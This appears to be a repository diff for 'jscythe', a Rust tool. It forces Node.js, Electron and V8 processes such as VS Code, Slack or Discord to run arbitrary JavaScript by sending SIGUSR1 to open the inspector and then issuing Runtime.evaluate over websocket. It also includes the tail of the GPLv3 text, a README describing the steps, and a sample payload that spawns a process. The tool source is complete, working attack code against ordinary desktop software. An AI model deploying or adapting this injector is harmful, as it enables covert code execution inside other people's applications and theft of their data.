     401 +Corresponding Source of the work from the predecessor in interest, if the predecessor
     402 +has it or can get it with reasonable efforts.
     403 + 
     404 +You may not impose any further restrictions on the exercise of the rights granted or
     405 +affirmed under this License. For example, you may not impose a license fee, royalty,
     406 +or other charge for exercise of rights granted under this License, and you may not
     407 +initiate litigation (including a cross-claim or counterclaim in a lawsuit) alleging
     408 +that any patent claim is infringed by making, using, selling, offering for sale, or
     409 +importing the Program or any portion of it.
     410 + 
     411 +### 11. Patents.
     412 + 
     413 +A &ldquo;contributor&rdquo; is a copyright holder who authorizes use under this
     414 +License of the Program or a work on which the Program is based. The work thus
     415 +licensed is called the contributor's &ldquo;contributor version&rdquo;.
     416 + 
     417 +A contributor's &ldquo;essential patent claims&rdquo; are all patent claims owned or
     418 +controlled by the contributor, whether already acquired or hereafter acquired, that
     419 +would be infringed by some manner, permitted by this License, of making, using, or
     420 +selling its contributor version, but do not include claims that would be infringed
     421 +only as a consequence of further modification of the contributor version. For
     422 +purposes of this definition, &ldquo;control&rdquo; includes the right to grant patent
     423 +sublicenses in a manner consistent with the requirements of this License.
     424 + 
     425 +Each contributor grants you a non-exclusive, worldwide, royalty-free patent license
     426 +under the contributor's essential patent claims, to make, use, sell, offer for sale,
     427 +import and otherwise run, modify and propagate the contents of its contributor
     428 +version.
     429 + 
     430 +In the following three paragraphs, a &ldquo;patent license&rdquo; is any express
     431 +agreement or commitment, however denominated, not to enforce a patent (such as an
     432 +express permission to practice a patent or covenant not to sue for patent
     433 +infringement). To &ldquo;grant&rdquo; such a patent license to a party means to make
     434 +such an agreement or commitment not to enforce a patent against the party.
     435 + 
     436 +If you convey a covered work, knowingly relying on a patent license, and the
     437 +Corresponding Source of the work is not available for anyone to copy, free of charge
     438 +and under the terms of this License, through a publicly available network server or
     439 +other readily accessible means, then you must either (1) cause the Corresponding
     440 +Source to be so available, or (2) arrange to deprive yourself of the benefit of the
     441 +patent license for this particular work, or (3) arrange, in a manner consistent with
     442 +the requirements of this License, to extend the patent license to downstream
     443 +recipients. &ldquo;Knowingly relying&rdquo; means you have actual knowledge that, but
     444 +for the patent license, your conveying the covered work in a country, or your
     445 +recipient's use of the covered work in a country, would infringe one or more
     446 +identifiable patents in that country that you have reason to believe are valid.
     447 + 
     448 +If, pursuant to or in connection with a single transaction or arrangement, you
     449 +convey, or propagate by procuring conveyance of, a covered work, and grant a patent
     450 +license to some of the parties receiving the covered work authorizing them to use,
     451 +propagate, modify or convey a specific copy of the covered work, then the patent
     452 +license you grant is automatically extended to all recipients of the covered work and
     453 +works based on it.
     454 + 
     455 +A patent license is &ldquo;discriminatory&rdquo; if it does not include within the
     456 +scope of its coverage, prohibits the exercise of, or is conditioned on the
     457 +non-exercise of one or more of the rights that are specifically granted under this
     458 +License. You may not convey a covered work if you are a party to an arrangement with
     459 +a third party that is in the business of distributing software, under which you make
     460 +payment to the third party based on the extent of your activity of conveying the
     461 +work, and under which the third party grants, to any of the parties who would receive
     462 +the covered work from you, a discriminatory patent license (a) in connection with
     463 +copies of the covered work conveyed by you (or copies made from those copies), or (b)
     464 +primarily for and in connection with specific products or compilations that contain
     465 +the covered work, unless you entered into that arrangement, or that patent license
     466 +was granted, prior to 28 March 2007.
     467 + 
     468 +Nothing in this License shall be construed as excluding or limiting any implied
     469 +license or other defenses to infringement that may otherwise be available to you
     470 +under applicable patent law.
     471 + 
     472 +### 12. No Surrender of Others' Freedom.
     473 + 
     474 +If conditions are imposed on you (whether by court order, agreement or otherwise)
     475 +that contradict the conditions of this License, they do not excuse you from the
     476 +conditions of this License. If you cannot convey a covered work so as to satisfy
     477 +simultaneously your obligations under this License and any other pertinent
     478 +obligations, then as a consequence you may not convey it at all. For example, if you
     479 +agree to terms that obligate you to collect a royalty for further conveying from
     480 +those to whom you convey the Program, the only way you could satisfy both those terms
     481 +and this License would be to refrain entirely from conveying the Program.
     482 + 
     483 +### 13. Use with the GNU Affero General Public License.
     484 + 
     485 +Notwithstanding any other provision of this License, you have permission to link or
     486 +combine any covered work with a work licensed under version 3 of the GNU Affero
     487 +General Public License into a single combined work, and to convey the resulting work.
     488 +The terms of this License will continue to apply to the part which is the covered
     489 +work, but the special requirements of the GNU Affero General Public License, section
     490 +13, concerning interaction through a network will apply to the combination as such.
     491 + 
     492 +### 14. Revised Versions of this License.
     493 + 
     494 +The Free Software Foundation may publish revised and/or new versions of the GNU
     495 +General Public License from time to time. Such new versions will be similar in spirit
     496 +to the present version, but may differ in detail to address new problems or concerns.
     497 + 
     498 +Each version is given a distinguishing version number. If the Program specifies that
     499 +a certain numbered version of the GNU General Public License &ldquo;or any later
     500 +version&rdquo; applies to it, you have the option of following the terms and
     501 +conditions either of that numbered version or of any later version published by the
     502 +Free Software Foundation. If the Program does not specify a version number of the GNU
     503 +General Public License, you may choose any version ever published by the Free
     504 +Software Foundation.
     505 + 
     506 +If the Program specifies that a proxy can decide which future versions of the GNU
     507 +General Public License can be used, that proxy's public statement of acceptance of a
     508 +version permanently authorizes you to choose that version for the Program.
     509 + 
     510 +Later license versions may give you additional or different permissions. However, no
     511 +additional obligations are imposed on any author or copyright holder as a result of
     512 +your choosing to follow a later version.
     513 + 
     514 +### 15. Disclaimer of Warranty.
     515 + 
     516 +THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.
     517 +EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
     518 +PROVIDE THE PROGRAM &ldquo;AS IS&rdquo; WITHOUT WARRANTY OF ANY KIND, EITHER
     519 +EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
     520 +MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE
     521 +QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE
     522 +DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
     523 + 
     524 +### 16. Limitation of Liability.
     525 + 
     526 +IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY
     527 +COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS
     528 +PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL,
     529 +INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE
     530 +PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE
     531 +OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE
     532 +WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
     533 +POSSIBILITY OF SUCH DAMAGES.
     534 + 
     535 +### 17. Interpretation of Sections 15 and 16.
     536 + 
     537 +If the disclaimer of warranty and limitation of liability provided above cannot be
     538 +given local legal effect according to their terms, reviewing courts shall apply local
     539 +law that most closely approximates an absolute waiver of all civil liability in
     540 +connection with the Program, unless a warranty or assumption of liability accompanies
     541 +a copy of the Program in return for a fee.
     542 + 
     543 +END OF TERMS AND CONDITIONS
     544 + 
     545 +## How to Apply These Terms to Your New Programs
     546 + 
     547 +If you develop a new program, and you want it to be of the greatest possible use to
     548 +the public, the best way to achieve this is to make it free software which everyone
     549 +can redistribute and change under these terms.
     550 + 
     551 +To do so, attach the following notices to the program. It is safest to attach them
     552 +to the start of each source file to most effectively state the exclusion of warranty;
     553 +and each file should have at least the &ldquo;copyright&rdquo; line and a pointer to
     554 +where the full notice is found.
     555 + 
     556 + <one line to give the program's name and a brief idea of what it does.>
     557 + Copyright (C) <year> <name of author>
     558 + 
     559 + This program is free software: you can redistribute it and/or modify
     560 + it under the terms of the GNU General Public License as published by
     561 + the Free Software Foundation, either version 3 of the License, or
     562 + (at your option) any later version.
     563 + 
     564 + This program is distributed in the hope that it will be useful,
     565 + but WITHOUT ANY WARRANTY; without even the implied warranty of
     566 + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
     567 + GNU General Public License for more details.
     568 + 
     569 + You should have received a copy of the GNU General Public License
     570 + along with this program. If not, see <https://www.gnu.org/licenses/>.
     571 + 
     572 +Also add information on how to contact you by electronic and paper mail.
     573 + 
     574 +If the program does terminal interaction, make it output a short notice like this
     575 +when it starts in an interactive mode:
     576 + 
     577 + <program> Copyright (C) <year> <name of author>
     578 + This program comes with ABSOLUTELY NO WARRANTY; for details type 'show w'.
     579 + This is free software, and you are welcome to redistribute it
     580 + under certain conditions; type 'show c' for details.
     581 + 
     582 +The hypothetical commands 'show w' and 'show c' should show the appropriate parts of
     583 +the General Public License. Of course, your program's commands might be different;
     584 +for a GUI interface, you would use an &ldquo;about box&rdquo;.
     585 + 
     586 +You should also get your employer (if you work as a programmer) or school, if any, to
     587 +sign a &ldquo;copyright disclaimer&rdquo; for the program, if necessary. For more
     588 +information on this, and how to apply and follow the GNU GPL, see
     589 +&lt;<https://www.gnu.org/licenses/>&gt;.
     590 + 
     591 +The GNU General Public License does not permit incorporating your program into
     592 +proprietary programs. If your program is a subroutine library, you may consider it
     593 +more useful to permit linking proprietary applications with the library. If this is
     594 +what you want to do, use the GNU Lesser General Public License instead of this
     595 +License. But first, please read
     596 +&lt;<https://www.gnu.org/philosophy/why-not-lgpl.html>&gt;.
  • ■ ■ ■ ■ ■ ■
    README.md
     1 +jscythe abuses the node.js [inspector mechanism](https://nodejs.org/en/docs/guides/debugging-getting-started/) in order to force any node.js/electron/v8 based process to execute arbitrary javascript code, even if their debugging capabilities are disabled.
     2 + 
     3 +![vscode](https://i.imgur.com/MmUupgZ.jpg)
     4 + 
     5 +Tested and working again Visual Studio Code, Slack, Discord, any Node.js application and more!
     6 + 
     7 +## How
     8 + 
     9 +1. Locate the target process.
     10 +2. Send `SIGUSR1` signal to the process, this will enable the debugger on a port (depending on the software, sometimes it's random, sometimes it's not).
     11 +3. Determine debugging port by diffing open ports before and after sending `SIGUSR1`.
     12 +4. Get the websocket debugging URL and session id from `http://localhost:<port>/json`.
     13 +5. Send a `Runtime.evaluate` request with the provided code.
     14 +6. Profit.
     15 + 
     16 +## Building
     17 + 
     18 +```sh
     19 +cargo build --release
     20 +```
     21 + 
     22 +## Running
     23 + 
     24 +Target a specific process and execute a basic expression:
     25 + 
     26 +```sh
     27 +./target/debug/jscythe --pid 666 --code "5 - 3 + 2"
     28 +```
     29 + 
     30 +Execute code from a file:
     31 + 
     32 +```sh
     33 +./target/debug/jscythe --pid 666 --script example_script.js
     34 +```
     35 + 
     36 +The `example_script.js` can require any node module and execute any code, like:
     37 + 
     38 +```js
     39 +require('child_process').spawnSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator', { encoding : 'utf8' }).stdout
     40 +```
     41 + 
     42 +Search process by expression:
     43 + 
     44 +```sh
     45 +./target/debug/jscythe --search extensionHost --script example_script.js
     46 +```
     47 + 
     48 +## Other options
     49 + 
     50 +Run `jscythe --help` for the complete list of options.
     51 + 
     52 +## License
     53 + 
     54 +This project is made with ♥ by [@evilsocket](https://twitter.com/evilsocket) and it is released under the GPL3 license.
  • ■ ■ ■ ■ ■
    example_script.js
     1 +require('child_process').spawnSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator', { encoding : 'utf8' }).stdout
  • ■ ■ ■ ■ ■ ■
    src/main.rs
     1 +use clap::Parser;
     2 + 
     3 +use netstat2::*;
     4 +use sysinfo::{PidExt, ProcessExt, SystemExt};
     5 +use sysinfo::{ProcessRefreshKind, RefreshKind, System};
     6 +use websocket::{ClientBuilder, Message};
     7 + 
     8 +mod protocol;
     9 + 
     10 +type Error = String;
     11 + 
     12 +fn find_process(filter: &str) -> Option<u32> {
     13 + let sys =
     14 + System::new_with_specifics(RefreshKind::new().with_processes(ProcessRefreshKind::new()));
     15 + 
     16 + for (pid, process) in sys.processes() {
     17 + let process_info = format!(
     18 + "{} {} {:?}",
     19 + process.name(),
     20 + process.exe().display(),
     21 + process.cmd()
     22 + );
     23 + 
     24 + // quick and dirty hack, i know
     25 + let pid = pid.as_u32();
     26 + if process_info.to_ascii_lowercase().contains(filter) && pid != std::process::id() {
     27 + println!(
     28 + "host found as pid {} -> {} ({})",
     29 + pid,
     30 + process.exe().display(),
     31 + process.name()
     32 + );
     33 + return Some(pid);
     34 + }
     35 + }
     36 + 
     37 + None
     38 +}
     39 + 
     40 +fn find_listening_ports_by_pid(pid: u32) -> Result<Vec<u16>, Error> {
     41 + let af_flags = AddressFamilyFlags::IPV4 | AddressFamilyFlags::IPV6;
     42 + let proto_flags = ProtocolFlags::TCP | ProtocolFlags::UDP;
     43 + let sockets_info = get_sockets_info(af_flags, proto_flags).map_err(|e| e.to_string())?;
     44 + let mut by_pid = vec![];
     45 + 
     46 + for si in sockets_info {
     47 + if si.associated_pids.contains(&pid) {
     48 + if let ProtocolSocketInfo::Tcp(tcp_si) = si.protocol_socket_info {
     49 + if tcp_si.state == TcpState::Listen {
     50 + by_pid.push(tcp_si.local_port);
     51 + }
     52 + }
     53 + }
     54 + }
     55 + 
     56 + Ok(by_pid)
     57 +}
     58 + 
     59 +fn enable_inspection_port(pid: u32) -> Result<u16, Error> {
     60 + let port: u16;
     61 + let ports_before = find_listening_ports_by_pid(pid)
     62 + .map_err(|e| format!("could not find enumerate process open ports: {:?}", e))?;
     63 + 
     64 + if ports_before.len() == 1 {
     65 + // println!("inspection already enabled on port {}", ports_before[0]);
     66 + port = ports_before[0];
     67 + } else {
     68 + println!("sending SIGUSR1 to process {}", pid);
     69 + 
     70 + nix::sys::signal::kill(
     71 + nix::unistd::Pid::from_raw(pid as i32),
     72 + nix::sys::signal::Signal::SIGUSR1,
     73 + )
     74 + .map_err(|e| format!("could not send SIGUSR1 signal: {:?}", e))?;
     75 + 
     76 + // give the debugger some time to start
     77 + std::thread::sleep(std::time::Duration::from_secs(3));
     78 + 
     79 + let ports_after = find_listening_ports_by_pid(pid)
     80 + .map_err(|e| format!("could not find enumerate process open ports: {:?}", e))?;
     81 + 
     82 + let new_ports: Vec<_> = ports_after
     83 + .iter()
     84 + .filter(|port| !ports_before.contains(port))
     85 + .collect();
     86 + if new_ports.len() == 1 {
     87 + port = *new_ports[0];
     88 + } else {
     89 + return Err(format!(
     90 + "could not infer inspection port, before={:?} after={:?}",
     91 + ports_before, ports_after
     92 + ));
     93 + }
     94 + }
     95 + 
     96 + Ok(port)
     97 +}
     98 + 
     99 +#[derive(Parser, Default, Debug, Clone)]
     100 +#[clap(about = "Force any Node/Electron/V8 based process to execute arbitrary javascript code.")]
     101 +struct Arguments {
     102 + /// Process id.
     103 + #[clap(long)]
     104 + pid: Option<u32>,
     105 + /// Use this expression to search for the process instead of specifying its PID.
     106 + #[clap(long)]
     107 + search: Option<String>,
     108 + /// Path of the script to inject.
     109 + #[clap(long, default_value = "example_script.js")]
     110 + script: String,
     111 + /// Code to execute.
     112 + #[clap(long)]
     113 + code: Option<String>,
     114 + /// Fetch available objects and exit.
     115 + #[clap(long, takes_value = false)]
     116 + domains: bool,
     117 +}
     118 + 
     119 +fn main() {
     120 + println!(
     121 + "{} v{}\n",
     122 + env!("CARGO_PKG_NAME"),
     123 + env!("CARGO_PKG_VERSION")
     124 + );
     125 + 
     126 + let args = Arguments::parse();
     127 + 
     128 + // 1. find the process
     129 + let host_pid = match args.pid {
     130 + Some(pid) => pid,
     131 + None => match args.search {
     132 + Some(filter) => match find_process(&filter.to_ascii_lowercase()) {
     133 + Some(pid) => pid,
     134 + None => {
     135 + println!("could not find node host process.");
     136 + std::process::exit(1);
     137 + }
     138 + },
     139 + None => {
     140 + println!("one of --pid or --search arguments must be specified.");
     141 + std::process::exit(1);
     142 + }
     143 + },
     144 + };
     145 + 
     146 + // 2. enable inspection port by sending SIGUSR1 to it
     147 + // 2.5. infer port by diffing open ports before and after the signal has been sent
     148 + let inspect_port = match enable_inspection_port(host_pid) {
     149 + Ok(port) => port,
     150 + Err(e) => {
     151 + println!("could not find vscode extension host port: {:?}", e);
     152 + std::process::exit(1);
     153 + }
     154 + };
     155 + 
     156 + // only show available domains
     157 + if args.domains {
     158 + let domains = match protocol::get_domains(inspect_port) {
     159 + Ok(url) => url,
     160 + Err(e) => {
     161 + println!("could not find available domains: {:?}", e);
     162 + std::process::exit(1);
     163 + }
     164 + };
     165 + println!("\navailable execution domains:");
     166 + for domain in domains {
     167 + println!("* {}", domain.domain);
     168 + for command in domain.commands {
     169 + println!(" .{}", command.name);
     170 + }
     171 + }
     172 + std::process::exit(0);
     173 + }
     174 + 
     175 + // 3. get websocket debug url from http://localhost:<port>/json
     176 + let debug_url = match protocol::get_debug_url(inspect_port) {
     177 + Ok(url) => url,
     178 + Err(e) => {
     179 + println!("could not find debug url: {:?}", e);
     180 + std::process::exit(1);
     181 + }
     182 + };
     183 + 
     184 + // 4. send Runtime.evaluate request -> profit
     185 + println!("connecting to {:?}", &debug_url);
     186 + 
     187 + let mut builder = ClientBuilder::new(&debug_url).unwrap();
     188 + 
     189 + let mut client = builder.connect_insecure().unwrap();
     190 + 
     191 + println!("connected, sending payload ...");
     192 + 
     193 + let script = match args.code {
     194 + Some(code) => code,
     195 + None => std::fs::read_to_string(&args.script).unwrap(),
     196 + };
     197 + 
     198 + let request = protocol::EvalRequest::new(&script);
     199 + 
     200 + let raw = serde_json::to_string(&request).unwrap();
     201 + 
     202 + client.send_message(&Message::text(raw)).unwrap();
     203 + 
     204 + println!("payload sent!");
     205 + 
     206 + println!("reading events, press ctrl+c to exit ...\n");
     207 + loop {
     208 + println!("{:?}", client.recv_message().unwrap());
     209 + }
     210 +}
     211 + 
  • ■ ■ ■ ■ ■ ■
    src/protocol.rs
     1 +use serde::{Deserialize, Serialize};
     2 + 
     3 +use crate::Error;
     4 + 
     5 +#[derive(Deserialize)]
     6 +pub(crate) struct DebugManifest {
     7 + #[serde(rename(deserialize = "webSocketDebuggerUrl"))]
     8 + pub ws_debugger_url: String,
     9 +}
     10 + 
     11 +#[derive(Deserialize, Debug)]
     12 +pub(crate) struct DomainCommand {
     13 + pub name: String,
     14 +}
     15 + 
     16 +#[derive(Deserialize, Debug)]
     17 +pub(crate) struct Domain {
     18 + pub domain: String,
     19 + pub commands: Vec<DomainCommand>,
     20 +}
     21 + 
     22 +#[derive(Deserialize)]
     23 +pub(crate) struct Protocol {
     24 + pub domains: Vec<Domain>,
     25 +}
     26 + 
     27 +#[derive(Serialize)]
     28 +pub(crate) struct EvalParams {
     29 + #[serde(rename(serialize = "awaitPromise"))]
     30 + pub await_promise: bool,
     31 + #[serde(rename(serialize = "includeCommandLineAPI"))]
     32 + pub include_commandline_api: bool,
     33 + pub expression: String,
     34 +}
     35 + 
     36 +#[derive(Serialize)]
     37 +pub(crate) struct EvalRequest {
     38 + pub id: usize,
     39 + pub method: String,
     40 + pub params: EvalParams,
     41 +}
     42 + 
     43 +impl EvalRequest {
     44 + pub fn new(expression: &str) -> Self {
     45 + Self {
     46 + id: 0,
     47 + method: "Runtime.evaluate".to_owned(),
     48 + params: EvalParams {
     49 + await_promise: true,
     50 + include_commandline_api: true,
     51 + expression: expression.to_owned(),
     52 + },
     53 + }
     54 + }
     55 +}
     56 + 
     57 +pub(crate) fn get_domains(port: u16) -> Result<Vec<Domain>, Error> {
     58 + let json_url = format!("http://127.0.0.1:{}/json/protocol", port);
     59 + println!(
     60 + "inspection enabled on port {}, requesting available domains from {} ...",
     61 + port, &json_url
     62 + );
     63 + 
     64 + let body = reqwest::blocking::get(json_url).unwrap().bytes().unwrap();
     65 + let proto: Protocol = serde_json::from_slice(&body).map_err(|e| {
     66 + format!(
     67 + "could not parse protocol definitiont: {:?}\n\nDATA:\n {:?}",
     68 + e, &body
     69 + )
     70 + })?;
     71 + 
     72 + Ok(proto.domains)
     73 +}
     74 + 
     75 +pub(crate) fn get_debug_url(port: u16) -> Result<String, Error> {
     76 + let json_url = format!("http://127.0.0.1:{}/json", port);
     77 + 
     78 + println!(
     79 + "inspection enabled on port {}, requesting webSocketDebuggerUrl from {} ...",
     80 + port, &json_url
     81 + );
     82 + 
     83 + let body = reqwest::blocking::get(json_url).unwrap().bytes().unwrap();
     84 + let debug_manifests: Vec<DebugManifest> = serde_json::from_slice(&body).map_err(|e| {
     85 + format!(
     86 + "could not parse debug manifest: {:?}\n\nDATA:\n {:?}",
     87 + e, &body
     88 + )
     89 + })?;
     90 + 
     91 + if debug_manifests.is_empty() {
     92 + return Err("no debug manifests found".to_owned());
     93 + }
     94 + 
     95 + Ok(debug_manifests[0].ws_debugger_url.to_owned())
     96 +}
     97 + 
Please wait...
Page is in error, reload to recover